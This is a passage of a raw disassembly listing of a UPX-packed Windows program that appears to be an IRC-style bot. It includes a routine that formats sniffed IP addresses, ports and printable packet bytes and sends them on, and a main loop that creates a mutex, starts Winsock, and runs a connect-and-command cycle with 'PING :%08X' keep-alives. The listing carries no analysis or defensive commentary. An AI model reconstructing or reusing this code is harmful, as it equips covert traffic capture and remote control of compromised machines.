eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] test eax, eax jnz short loc_416413 mov eax, [ebp+var_4] add eax, [ebp+var_19B8] mov byte ptr [eax], 2Eh loc_416413: ; CODE XREF: sub_415F69+49Cj jmp short loc_4163A2 ; --------------------------------------------------------------------------- loc_416415: ; CODE XREF: sub_415F69+452j and [ebp+var_19B8], 0 mov eax, [ebp+var_19B8] mov [ebp+var_17AC], eax jmp short loc_416437 ; --------------------------------------------------------------------------- loc_41642A: ; CODE XREF: sub_415F69+507j ; sub_415F69+51Aj ... mov eax, [ebp+var_19B8] inc eax mov [ebp+var_19B8], eax loc_416437: ; CODE XREF: sub_415F69+4BFj mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] test eax, eax jnz short loc_41645F mov eax, [ebp+var_4] add eax, [ebp+var_17AC] mov ecx, [ebp+var_4] add ecx, [ebp+var_19B8] mov cl, [ecx] mov [eax], cl jmp short loc_4164AA ; --------------------------------------------------------------------------- loc_41645F: ; CODE XREF: sub_415F69+4DCj mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] cmp eax, 7Fh jl short loc_416472 jmp short loc_41642A ; --------------------------------------------------------------------------- loc_416472: ; CODE XREF: sub_415F69+505j mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] cmp eax, 1Fh jg short loc_416485 jmp short loc_41642A ; --------------------------------------------------------------------------- loc_416485: ; CODE XREF: sub_415F69+518j mov eax, [ebp+var_4] add eax, [ebp+var_17AC] mov ecx, [ebp+var_4] add ecx, [ebp+var_19B8] mov cl, [ecx] mov [eax], cl mov eax, [ebp+var_17AC] inc eax mov [ebp+var_17AC], eax jmp short loc_41642A ; --------------------------------------------------------------------------- loc_4164AA: ; CODE XREF: sub_415F69+4F4j cmp [ebp+var_17AC], 0 jnz short loc_4164B8 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_4164B8: ; CODE XREF: sub_415F69+548j push 100h mov eax, [ebp+var_161C] push dword ptr [eax+0Ch] call ds:dword_41721C ; inet_ntoa push eax lea eax, [ebp+var_19B4] push eax call sub_407A56 add esp, 0Ch push 100h mov eax, [ebp+var_161C] push dword ptr [eax+10h] call ds:dword_41721C ; inet_ntoa push eax lea eax, [ebp+var_18B0] push eax call sub_407A56 add esp, 0Ch mov eax, [ebp+var_1628] mov ax, [eax+2] push eax call ds:dword_417238 ; htons movzx eax, ax push eax lea eax, [ebp+var_18B0] push eax mov eax, [ebp+var_1628] mov ax, [eax] push eax call ds:dword_417238 ; htons movzx eax, ax push eax lea eax, [ebp+var_19B4] push eax push offset dword_41DA58 lea eax, [ebp+var_17A8] push eax call sub_416B5E ; sprintf add esp, 18h mov [ebp+var_18B4], eax mov eax, 180h sub eax, [ebp+var_18B4] push eax push [ebp+var_4] mov eax, [ebp+var_18B4] lea eax, [ebp+eax+var_17A8] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_17A8] push eax push offset dword_418B64 lea eax, [ebp+var_140C] push eax call sub_40D53F add esp, 0Ch push 3E8h call ds:dword_41709C ; Sleep mov eax, [ebp+var_1614] cmp dword ptr [eax+4], 0 jz short loc_4165AD jmp loc_416655 ; --------------------------------------------------------------------------- loc_4165AD: ; CODE XREF: sub_415F69+63Dj mov eax, 180h sub eax, [ebp+var_18B4] dec eax mov [ebp+var_17B0], eax loc_4165BF: ; CODE XREF: sub_415F69+6C7j mov eax, [ebp+var_17B0] cmp eax, [ebp+var_17AC] jnb short loc_416632 push 180h mov eax, [ebp+var_4] add eax, [ebp+var_17B0] push eax lea eax, [ebp+var_17A8] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_17A8] push eax push offset dword_418B64 lea eax, [ebp+var_140C] push eax call sub_40D53F add esp, 0Ch push 3E8h call ds:dword_41709C ; Sleep mov eax, [ebp+var_1614] cmp dword ptr [eax+4], 0 jz short loc_41661F jmp short loc_416653 ; --------------------------------------------------------------------------- loc_41661F: ; CODE XREF: sub_415F69+6B2j mov eax, [ebp+var_17B0] add eax, 17Fh mov [ebp+var_17B0], eax jmp short loc_4165BF ; --------------------------------------------------------------------------- loc_416632: ; CODE XREF: sub_415F69+35Bj ; sub_415F69+42Aj ... jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_416637: ; CODE XREF: sub_415F69+2A9j ; sub_415F69:loc_416229j ... push [ebp+var_104C] call ds:dword_417230 ; closesocket push [ebp+var_1614] call sub_409763 pop ecx xor eax, eax jmp short loc_416657 ; --------------------------------------------------------------------------- loc_416653: ; CODE XREF: sub_415F69+6B4j jmp short loc_416637 ; --------------------------------------------------------------------------- loc_416655: ; CODE XREF: sub_415F69+63Fj jmp short loc_416637 ; --------------------------------------------------------------------------- loc_416657: ; CODE XREF: sub_415F69+70j ; sub_415F69+BDj ... pop edi leave retn 4 sub_415F69 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41665C proc near ; CODE XREF: sub_40A9CF+9FEp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push 3ABh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41667B jmp locret_41670F ; --------------------------------------------------------------------------- loc_41667B: ; CODE XREF: sub_41665C+18j cmp [ebp+arg_4], 0 jz short loc_41668F push [ebp+arg_4] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax jmp short loc_416696 ; --------------------------------------------------------------------------- loc_41668F: ; CODE XREF: sub_41665C+23j mov [ebp+var_8], 3 loc_416696: ; CODE XREF: sub_41665C+31j mov eax, [ebp+var_4] mov ecx, [ebp+var_8] mov [eax+4], ecx cmp [ebp+arg_8], 0 jz short loc_4166AD mov eax, [ebp+arg_8] mov [ebp+var_C], eax jmp short loc_4166B4 ; --------------------------------------------------------------------------- loc_4166AD: ; CODE XREF: sub_41665C+47j mov [ebp+var_C], offset byte_41DF00 loc_4166B4: ; CODE XREF: sub_41665C+4Fj push 200h push [ebp+var_C] mov eax, [ebp+var_4] add eax, 8 push eax call sub_407A56 add esp, 0Ch push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 208h push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_4] push dword ptr [eax+4] push offset dword_41DAC0 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_4] push offset sub_415F69 call sub_4095A4 add esp, 14h locret_41670F: ; CODE XREF: sub_41665C+1Aj leave retn sub_41665C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416711 proc near ; CODE XREF: sub_4167B9+6p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push offset aRb ; "rb" push [ebp+arg_0] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41673B push [ebp+var_4] call sub_416B82 ; fclose pop ecx push 1 pop eax jmp short locret_41673D ; --------------------------------------------------------------------------- loc_41673B: ; CODE XREF: sub_416711+1Aj xor eax, eax locret_41673D: ; CODE XREF: sub_416711+28j leave retn sub_416711 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41673F proc near ; CODE XREF: sub_40A9CF+C23p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push offset aRb ; "rb" push [ebp+arg_0] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41679C push 2 push 0 push [ebp+var_4] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_4] call sub_416B76 ; ftell pop ecx mov [ebp+var_8], eax push 0 push 0 push [ebp+var_4] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_4] call sub_416B82 ; fclose pop ecx mov eax, [ebp+var_8] inc eax neg eax sbb eax, eax and eax, [ebp+var_8] jmp short locret_41679E ; --------------------------------------------------------------------------- loc_41679C: ; CODE XREF: sub_41673F+1Bj xor eax, eax locret_41679E: ; CODE XREF: sub_41673F+5Bj leave retn sub_41673F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4167A0 proc near ; CODE XREF: sub_4167B9+13p arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call ds:dword_4170AC ; DeleteFileA test eax, eax jz short loc_4167B5 push 1 pop eax jmp short loc_4167B7 ; --------------------------------------------------------------------------- loc_4167B5: ; CODE XREF: sub_4167A0+Ej xor eax, eax loc_4167B7: ; CODE XREF: sub_4167A0+13j pop ebp retn sub_4167A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4167B9 proc near ; CODE XREF: sub_402698+1D9p arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call sub_416711 pop ecx test eax, eax jz short loc_4167D9 push [ebp+arg_0] call sub_4167A0 pop ecx neg eax sbb eax, eax inc eax jmp short loc_4167DB ; --------------------------------------------------------------------------- loc_4167D9: ; CODE XREF: sub_4167B9+Ej xor eax, eax loc_4167DB: ; CODE XREF: sub_4167B9+1Ej pop ebp retn sub_4167B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4167DD proc near ; CODE XREF: sub_40A9CF+8E9p var_4 = dword ptr -4 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] push dword ptr [eax] call sub_40ED38 pop ecx mov [ebp+var_4], eax leave retn sub_4167DD endp ; --------------------------------------------------------------------------- loc_4167F1: ; CODE XREF: UPX1:00421BF8j push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_417298 push offset sub_416DBA mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx mov eax, 12DCh call sub_416BC0 push ebx push esi push edi mov [ebp-18h], esp push 2 call ds:dword_4170F4 ; SetErrorMode and dword ptr [ebp-4], 0 push ds:dword_41DB04 push ds:dword_41DB00 push 3B7h push ds:dword_41DAFC push 0 push ds:dword_41DAF8 push offset a08xX08x3x08x08 ; "%08x%x%08x%3x%08x%08x" lea eax, [ebp-115Ch] push eax call sub_416B5E ; sprintf add esp, 20h and dword ptr [ebp-1128h], 0 jmp short loc_416875 ; --------------------------------------------------------------------------- loc_416868: ; CODE XREF: UPX0:loc_4168BAj mov eax, [ebp-1128h] inc eax mov [ebp-1128h], eax loc_416875: ; CODE XREF: UPX0:00416866j cmp dword ptr [ebp-1128h], 0Ah jnz short loc_416883 call sub_407148 loc_416883: ; CODE XREF: UPX0:0041687Cj push 3E8h call ds:dword_41709C ; Sleep lea eax, [ebp-115Ch] push eax push 0 push 0 call ds:dword_4170F8 ; CreateMutexA mov [ebp-12F0h], eax cmp dword ptr [ebp-12F0h], 0 jz short loc_4168BA call ds:dword_417064 ; RtlGetLastWin32Error test eax, eax jnz short loc_4168BA jmp short loc_4168BC ; --------------------------------------------------------------------------- loc_4168BA: ; CODE XREF: UPX0:004168ACj ; UPX0:004168B6j jmp short loc_416868 ; --------------------------------------------------------------------------- loc_4168BC: ; CODE XREF: UPX0:004168B8j call sub_403BD3 call sub_405FA3 call sub_40938F call sub_412FC6 call sub_4102AE call sub_40E979 push 10h push offset dword_41DAF8 call sub_41055F pop ecx pop ecx push 10h push offset dword_41DAF8 call sub_40ECEB pop ecx pop ecx push 10h push offset dword_41DAF8 call sub_40ED6E pop ecx pop ecx call sub_410422 mov ds:dword_41ED00, eax call sub_410422 mov ds:dword_41ED04, eax call sub_410422 mov ds:dword_41ED08, eax call sub_410422 mov ds:dword_41ED0C, eax push 104h lea eax, [ebp-1120h] push eax push 0 call ds:dword_41708C ; GetModuleHandleA push eax call ds:dword_417090 ; GetModuleFileNameA test eax, eax jnz short loc_416961 push offset byte_41DF00 push offset dword_41EBFC call sub_416B3A ; _mbscpy pop ecx pop ecx jmp loc_4169E1 ; --------------------------------------------------------------------------- loc_416961: ; CODE XREF: UPX0:00416949j lea eax, [ebp-1120h] push eax call sub_416B40 ; strlen pop ecx mov [ebp-12F4h], eax jmp short loc_416983 ; --------------------------------------------------------------------------- loc_416976: ; CODE XREF: UPX0:loc_4169DFj mov eax, [ebp-12F4h] dec eax mov [ebp-12F4h], eax loc_416983: ; CODE XREF: UPX0:00416974j cmp dword ptr [ebp-12F4h], 0 jnz short loc_41699F push offset byte_41DF00 push offset dword_41EBFC call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_4169E1 ; --------------------------------------------------------------------------- loc_41699F: ; CODE XREF: UPX0:0041698Aj mov eax, [ebp-12F4h] movsx eax, byte ptr [ebp+eax-1121h] cmp eax, 5Ch jnz short loc_4169DF mov eax, [ebp-12F4h] lea eax, [ebp+eax-1120h] push eax push offset dword_41EBFC call sub_416B3A ; _mbscpy pop ecx pop ecx push offset dword_41EBFC push offset dword_41ED10 call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_4169E1 ; --------------------------------------------------------------------------- loc_4169DF: ; CODE XREF: UPX0:004169B0j jmp short loc_416976 ; --------------------------------------------------------------------------- loc_4169E1: ; CODE XREF: UPX0:0041695Cj ; UPX0:0041699Dj ... call sub_406E8E lea eax, [ebp-12ECh] push eax push 202h call ds:dword_417264 ; WSAStartup loc_4169F8: ; CODE XREF: UPX0:00416A43j ; UPX0:00416AA7j push 0 push 0 push 0 call sub_40D366 add esp, 0Ch call sub_409226 and dword ptr [ebp-1124h], 0 and dword ptr [ebp-101Ch], 0 loc_416A19: ; CODE XREF: UPX0:00416AE2j mov dword ptr [ebp-4], 1 loc_416A20: ; CODE XREF: UPX0:loc_416A6Fj ; UPX0:00416AC0j push 0EA60h call sub_40CF25 push eax call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_416A71 cmp dword ptr [ebp-101Ch], 19h jnz short loc_416A45 and dword ptr [ebp-4], 0 jmp short loc_4169F8 ; --------------------------------------------------------------------------- loc_416A45: ; CODE XREF: UPX0:00416A3Dj cmp dword ptr [ebp-101Ch], 14h jnz short loc_416A62 call sub_410422 push eax push offset aPing08x ; "PING :%08X" call sub_40D6CB pop ecx pop ecx jmp short loc_416A6F ; --------------------------------------------------------------------------- loc_416A62: ; CODE XREF: UPX0:00416A4Cj mov eax, [ebp-101Ch] inc eax mov [ebp-101Ch], eax loc_416A6F: ; CODE XREF: UPX0:00416A60j jmp short loc_416A20 ; --------------------------------------------------------------------------- loc_416A71: ; CODE XREF: UPX0:00416A34j push 1000h lea eax, [ebp-1018h] push eax call sub_40CF25 push eax call sub_4053DC add esp, 0Ch mov [ebp-1124h], eax cmp dword ptr [ebp-1124h], 0 jz short loc_416AA3 cmp dword ptr [ebp-1124h], 0FFFFFFFFh jnz short loc_416AAC loc_416AA3: ; CODE XREF: UPX0:00416A98j and dword ptr [ebp-4], 0 jmp loc_4169F8 ; --------------------------------------------------------------------------- loc_416AAC: ; CODE XREF: UPX0:00416AA1j and dword ptr [ebp-101Ch], 0 lea eax, [ebp-1018h] push eax call sub_40E943 pop ecx jmp loc_416A20 ; --------------------------------------------------------------------------- loc_416AC5: ; DATA XREF: UPX1:004172A8o push offset aLoop ; "loop" push offset aMain ; "main" push dword ptr [ebp-14h] call sub_40332B add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_416ADB: ; DATA XREF: UPX1:004172ACo mov esp, [ebp-18h] and dword ptr [ebp-4], 0 jmp loc_416A19 ; --------------------------------------------------------------------------- push offset aEntry ; "entry" push offset aMain ; "main" push dword ptr [ebp-14h] call sub_40332B add esp, 0Ch retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] or dword ptr [ebp-4], 0FFFFFFFFh cmp ds:dword_41DF08, 0 jz short loc_416B1E push offset dword_41DE2C push offset dword_41DB88 call sub_40D4AB pop ecx pop ecx loc_416B1E: ; CODE XREF: UPX0:00416B0Bj call ds:dword_417254 ; WSACleanup push 0 call sub_416BFC ; exit mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B3A proc near ; CODE XREF: sub_401000+3Cp ; sub_4020C2+62p ... jmp ds:dword_41712C sub_416B3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B40 proc near ; CODE XREF: sub_401146+7Ap ; sub_4017AA+Ep ... jmp ds:dword_4171BC sub_416B40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B46 proc near ; CODE XREF: sub_401244+85p ; sub_4017AA+22p ... jmp ds:dword_4171B8 sub_416B46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B4C proc near ; CODE XREF: sub_401244+25p ; sub_401244+4DEp ... jmp ds:dword_4171B4 sub_416B4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B52 proc near ; CODE XREF: sub_401244+1Ap ; sub_401981+18p ... jmp ds:dword_4171B0 sub_416B52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B58 proc near ; CODE XREF: sub_4017AA+5Ap ; sub_4024F3+88p ... jmp ds:dword_4171AC sub_416B58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B5E proc near ; CODE XREF: sub_4018AF+9Fp ; sub_4055E5+231p ... jmp ds:dword_4171A8 sub_416B5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B64 proc near ; CODE XREF: sub_4018AF+3Bp ; sub_4018AF+5Dp ... jmp ds:dword_4171A4 sub_416B64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B6A proc near ; CODE XREF: sub_401981+145p ; sub_401981+158p ... jmp ds:dword_4171A0 sub_416B6A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B70 proc near ; CODE XREF: sub_401D6E+A5p ; sub_403260+4Cp ... jmp ds:dword_41719C sub_416B70 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B76 proc near ; CODE XREF: sub_401E38+1ABp ; sub_4020C2+1A6p ... jmp ds:dword_417198 sub_416B76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B7C proc near ; CODE XREF: sub_401E38+179p ; sub_402698+24Cp ... jmp ds:dword_417194 sub_416B7C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B82 proc near ; CODE XREF: sub_401E38+9Dp ; sub_401E38+262p ... jmp ds:dword_417190 sub_416B82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B88 proc near ; CODE XREF: sub_401E38+42p ; sub_4020C2+159p ... jmp ds:dword_41718C sub_416B88 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B90 proc near ; CODE XREF: sub_4020C2+2C1p ; sub_41102F+94p ... jmp ds:dword_417188 sub_416B90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B96 proc near ; CODE XREF: sub_4020C2+198p ; sub_4020C2+1BCp ... jmp ds:dword_417184 sub_416B96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B9C proc near ; CODE XREF: sub_4024F3+26p ; sub_4024F3+46p ... jmp ds:dword_417180 sub_416B9C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BA2 proc near ; CODE XREF: sub_402698+160p ; sub_40CA29+F6p ... jmp ds:dword_41717C sub_416BA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BA8 proc near ; CODE XREF: sub_402698+CCp ; sub_402698+110p ... jmp ds:dword_417178 sub_416BA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BAE proc near ; CODE XREF: sub_402698+4Bp ; sub_4083AD+3DFp ... jmp ds:dword_417174 sub_416BAE endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416BC0 proc near ; CODE XREF: sub_403DF3+8p ; sub_40546E+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_416BE0 loc_416BCC: ; CODE XREF: sub_416BC0+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_416BCC loc_416BE0: ; CODE XREF: sub_416BC0+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_416BC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BF0 proc near ; CODE XREF: sub_4041B7+Dp ; sub_4041B7+28p ... jmp ds:dword_417170 sub_416BF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BF6 proc near ; CODE XREF: sub_406041+67p jmp ds:dword_41716C sub_416BF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BFC proc near ; CODE XREF: sub_406E8E+2B3p ; UPX0:00416B26p jmp ds:dword_417168 sub_416BFC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416C10 proc near ; CODE XREF: sub_40821B+61p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_416C31 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_416C81 ; --------------------------------------------------------------------------- loc_416C31: ; CODE XREF: sub_416C10+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_416C3F: ; CODE XREF: sub_416C10+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_416C3F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_416C6A cmp edx, [esp+4+arg_4] ja short loc_416C6A jb short loc_416C72 cmp eax, [esp+4+arg_0] jbe short loc_416C72 loc_416C6A: ; CODE XREF: sub_416C10+4Aj ; sub_416C10+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_416C72: ; CODE XREF: sub_416C10+52j ; sub_416C10+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_416C81: ; CODE XREF: sub_416C10+1Fj pop ebx retn 10h sub_416C10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416C90 proc near ; CODE XREF: sub_40821B+30p ; sub_40821B+3Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_416CB2 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_416CF3 ; --------------------------------------------------------------------------- loc_416CB2: ; CODE XREF: sub_416C90+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_416CC0: ; CODE XREF: sub_416C90+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_416CC0 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_416CEE cmp edx, [esp+8+arg_4] ja short loc_416CEE jb short loc_416CEF cmp eax, [esp+8+arg_0] jbe short loc_416CEF loc_416CEE: ; CODE XREF: sub_416C90+4Ej ; sub_416C90+54j dec esi loc_416CEF: ; CODE XREF: sub_416C90+56j ; sub_416C90+5Cj xor edx, edx mov eax, esi loc_416CF3: ; CODE XREF: sub_416C90+20j pop esi pop ebx retn 10h sub_416C90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416CF8 proc near ; CODE XREF: sub_4088FC+1FAp ; sub_409226+5Cp ... jmp ds:dword_417164 sub_416CF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416CFE proc near ; CODE XREF: sub_409226+55p ; sub_4092A4+55p ... jmp ds:dword_417160 sub_416CFE endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416D10 proc near ; CODE XREF: sub_409226+42p ; sub_4092A4+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_416D31 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_416D31: ; CODE XREF: sub_416D10+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_416D4D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_416D4D: ; CODE XREF: sub_416D10+27j or eax, eax jnz short loc_416D69 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_416DAA ; --------------------------------------------------------------------------- loc_416D69: ; CODE XREF: sub_416D10+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_416D77: ; CODE XREF: sub_416D10+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_416D77 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_416DA5 cmp edx, [esp+0Ch+arg_4] ja short loc_416DA5 jb short loc_416DA6 cmp eax, [esp+0Ch+arg_0] jbe short loc_416DA6 loc_416DA5: ; CODE XREF: sub_416D10+85j ; sub_416D10+8Bj dec esi loc_416DA6: ; CODE XREF: sub_416D10+8Dj ; sub_416D10+93j xor edx, edx mov eax, esi loc_416DAA: ; CODE XREF: sub_416D10+57j dec edi jnz short loc_416DB4 neg edx neg eax sbb edx, 0 loc_416DB4: ; CODE XREF: sub_416D10+9Bj pop ebx pop esi pop edi retn 10h sub_416D10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DBA proc near ; DATA XREF: sub_4093B6+Ao ; sub_4094E6+Ao ... jmp ds:dword_41715C sub_416DBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DC0 proc near ; CODE XREF: sub_409479+41p ; sub_4095A4+162p jmp ds:dword_417158 sub_416DC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DC6 proc near ; CODE XREF: sub_4095A4+11Bp jmp ds:dword_417154 sub_416DC6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DCC proc near ; CODE XREF: sub_409CB1+105p ; sub_409CB1+114p ... jmp ds:dword_417150 sub_416DCC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DD2 proc near ; CODE XREF: sub_409CB1+42p ; sub_409CB1+88p jmp ds:dword_41714C sub_416DD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DD8 proc near ; CODE XREF: sub_409CB1+1Ap ; sub_409DD0+13Bp jmp ds:dword_417148 sub_416DD8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DDE proc near ; CODE XREF: sub_40A2D2+13Ep ; sub_40A9CF+1F6p ... jmp ds:dword_417144 sub_416DDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DE4 proc near ; CODE XREF: sub_40A8AD+90p jmp ds:dword_417140 sub_416DE4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DEA proc near ; CODE XREF: sub_40A9CF+185Cp jmp ds:dword_41713C sub_416DEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DF0 proc near ; CODE XREF: sub_40D420+47p ; sub_40D4AB+50p ... jmp ds:dword_417138 sub_416DF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DF6 proc near ; CODE XREF: sub_40EF59+6Bp ; sub_40EF59+C1p jmp ds:dword_417134 sub_416DF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DFC proc near ; CODE XREF: sub_40F040+52p ; sub_40F040+A8p jmp ds:dword_417130 sub_416DFC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416E02 proc near ; CODE XREF: sub_40F040+1Ep jmp ds:dword_417128 sub_416E02 endp ; --------------------------------------------------------------------------- loc_416E08: ; CODE XREF: UPX0:00416FE2j jmp ds:dword_417124 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416E10 proc near ; CODE XREF: sub_414EF4+5p push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_416E10 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416E30 proc near ; CODE XREF: sub_4048EF+4Ep ; sub_4048EF+2CFp ... jmp 